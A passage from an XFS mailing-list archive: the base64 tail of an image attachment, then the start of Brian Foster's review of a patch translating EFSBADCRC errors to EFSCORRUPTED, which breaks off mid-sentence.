4607T4Wt7GGGTG5EAOKRnf3LeZm6Z/yMOofT/CmWOz/hKLzdt3bflz1zx0/CrdlYzQatd3L7fLl+ 7g80mqaW9xMt1aTGG4UYznqP6Uy+ZXt5FnVth0u58zbjy2xu9ccfriq/hz/kDQfVv/QjVR9O1W+I jvrlFh7iP+LkVtQxJDCkUYwiAKB7UEuyjy3MXxQgkNkhyA0hBx+FO/4Riz/57T/mP8Ks6vYzXklq YtuIpNzbjjjitKgfO1FJMqWGm21gpECncRhnY5JrNu9n/CV23mbceXxu9fmx+tbtUNU00XwjdJDF PEco47UCjLXUuybDG3mbdmDu3dMd81y9l/yLV/j/AJ6f/E1cay1q4jEE90ixYwzKeSMd/WtW2sYb eyFqoJjwQc9TnrQUmoLe5Homz+yrfy9v3Odvr3qfFt9qziL7Rjrxvx/OshdN1OxYpp9yphPRZP4a taXpssE7XV5L5twwx67fxoFJLV3Kvh3Z9svz8u/zOPXGT/8AWrXuhbGMfaxEUzx5uMZ/Gs6+0u4F 2bzTpvKlbG5T0ao00y/vLhH1OdWijYN5a9GxmgbtJ81w8Qf8fmmf9dv6rSHdqU092eLe3R0iHPzH H3qm1/Tp9QEH2fb+7LZ3HHXH+FXI7QQacbWLH+rK/UkdaA5koruY9l/yKc/0b+dELyXVhZ6bAcb0 3Svz8q56fjVy302ePQZLNtnmtnGDxzTtC0xtPiczbTM5xkHOBQU5LV+ZX01Fj8SXiIMKsQAHt8tb lZtrYzRa1c3bbfKlXC4PPb/CtKkZTd2FFFFBAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQBial/wAf 5+gqGLqam1L/AI/z9BUMXet47HJLdjx1p4pg61IKokhl8rzP3gOcdaT/AEYcHnNTlFbO4ZzwaFij HRBSuWhscsKttTOSasimKijkKPyqDUL1LKHceXP3V9aTKSLLOiDLsqj3NVZdWs4eDLuPoozXMzzy TyF5WJJP4VHUmljem1/tDD+LGqU2q3k3WXaPReKzwM08AnoKtIewrMznLsWPuaSpY1wORTjGCc1p ymbqJMrFcmja3PBq0FA6CnFGwMKevpS9mS6vYp7T34pQMVaI9RTTGp7Yo9mNVV1IKASDkHH0qxgA YxmoSjDtxQ42HGomTQ6hdQ/cmbHoeauxeIJl/wBbGr+44NZLD14plZyNDpoddtH/ANYHjPuMir8c qTxiSJgynoRXFVp6Lem2n8qQ/upP0NSJo6I0w1IaYaZmxhpppxppqiWX9N/1TfWrdVNO/wBS31q3 WMtzohsFVLDT0spJ3V2bzm3HI6df8at0VJd3sFQ3tst5aSW7MVDjqO3OamooEnYitYRbW0cKksI1 CgnvUtFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRR RQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQBiakCb9seg qGLvU+o/8fz/AEFQRdTW8djlluyRfvU8Uwfep4pkjhThTRTLm5jtYTJIfoO5NIpBeXaWcO9+Sfur 6muZuZ5LiRpJDlj29KddXMl1MZJD9B2AqKnY2SsMANOWMscdqcFJbGKmVQowKqMLkTnZaDVRU7fj UqoxOFUn6CpbeDzDlh8o/WrqqU4H3f5VpsYNtlIW0m0kjGKYiFnA2n6VpMcDOO9FFyRiRIo4QA0/ HIPYUUZO4j8akBu1X4dBn3FUZY2MpCxkY7DmtE0lNMCj9kcqCOvoajaGROqmtKjPb86fMBlEDuAa ryRhWyOhq7cReXJwPlbkVWd0OVJpSs0aQbT0INtKBgU3camRVkXIJFZpJvQ6HJLc3dHvfPh8mQ/v EHHuKvmuVjZ7WVZEYbga6W3uFuYFlTv1HoaTViH3Q80w040w0EM0dO/1B+tWqq6d/wAe/wCJq1WE tzohsFFFFIoKKKCQO9ABRTS4pPM9KAH0VHvNLuNAD6KZuNLuNADqKTdS5oAKKKKACiiigAooooAK KKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoo ooAKKKKACiiigAooooAKKKKAMTUv+P5voKgi71Pqf/H63+6KghBJ+UE/Sto7HLLckX71SChLadjk Rn8alFnN6D86d0Ci+xBNOlvEZJDgD9a567unu5i78D+FfQVpX+mancSbvLUoPuqGrMmsLyHPmQOB 6gZo5kaxjYhp0Zw3TNMUHoetTou0e9aR1FNpIdS06NDIwAq+sKBQuAcVo3Y5SO2lL5XaFAAxip6T IU46U6oAa/A3Z6djVeS+VThVyfemXlx/Cv4VNolhHdSu1wCQmPl6ZqJSsdUKSteRVN1PKdsYP0UV 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 5n95Y+3XP/PT/wAdFH265/56f+Oiq9FHNLuHtqn8z+8sfbrn/np/46KPt1z/AM9P/HRVeijml3D2 1T+Z/eWPt1z/AM9P/HRR9uuf+en/AI6Kr0Uc0u4e2qfzP7woooqTMKKKKACiiigAooooAKKKKACi iigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKK KACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigA ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACi iigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKK KACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAoooo AKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigA ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACi iigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigD/9k= ------=_NextPart_000_05D5_01CF389C.CE4D2690-- From bfoster@redhat.com Wed Mar 5 09:49:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5AD307F3F for ; Wed, 5 Mar 2014 09:49:08 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 31FAD8F8078 for ; Wed, 5 Mar 2014 07:49:05 -0800 (PST) X-ASG-Debug-ID: 1394034540-04cb6c5677299670001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 7RsYFSOw0nz0FnSa for ; Wed, 05 Mar 2014 07:49:01 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25FmxHB014327 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Mar 2014 10:48:59 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s25FmwQv015660; Wed, 5 Mar 2014 10:48:58 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 7B79F12452B; Wed, 5 Mar 2014 10:48:57 -0500 (EST) Date: Wed, 5 Mar 2014 10:48:56 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace Message-ID: <20140305154855.GA55736@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace References: <1393825194-1719-1-git-send-email-david@fromorbit.com> <1393825194-1719-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393825194-1719-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394034541 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Mar 03, 2014 at 04:39:53PM +1100, Dave Chinner wrote: > From: Dave Chinner > > While the verifier reoutines may return EFSBADCRC when a buffer ahs > a bad CRC, we need to translate that to EFSCORRUPTED so that the > higher layers treat the error appropriately and so we return a > consistent error to userspace. This fixes a xfs/005 regression. > > Signed-off-by: Dave Chinner > --- Looking through again, I don't see any obvious cases where EFSBADCRC could slip through. The verifier users mostly call xfs_trans_read_buf_map(). The readahead case looks like it should be handled by the xfs_buf_iowait() checks therein. The one case I came across that looked suspicious is the readahead/read cycle for inode log recovery in 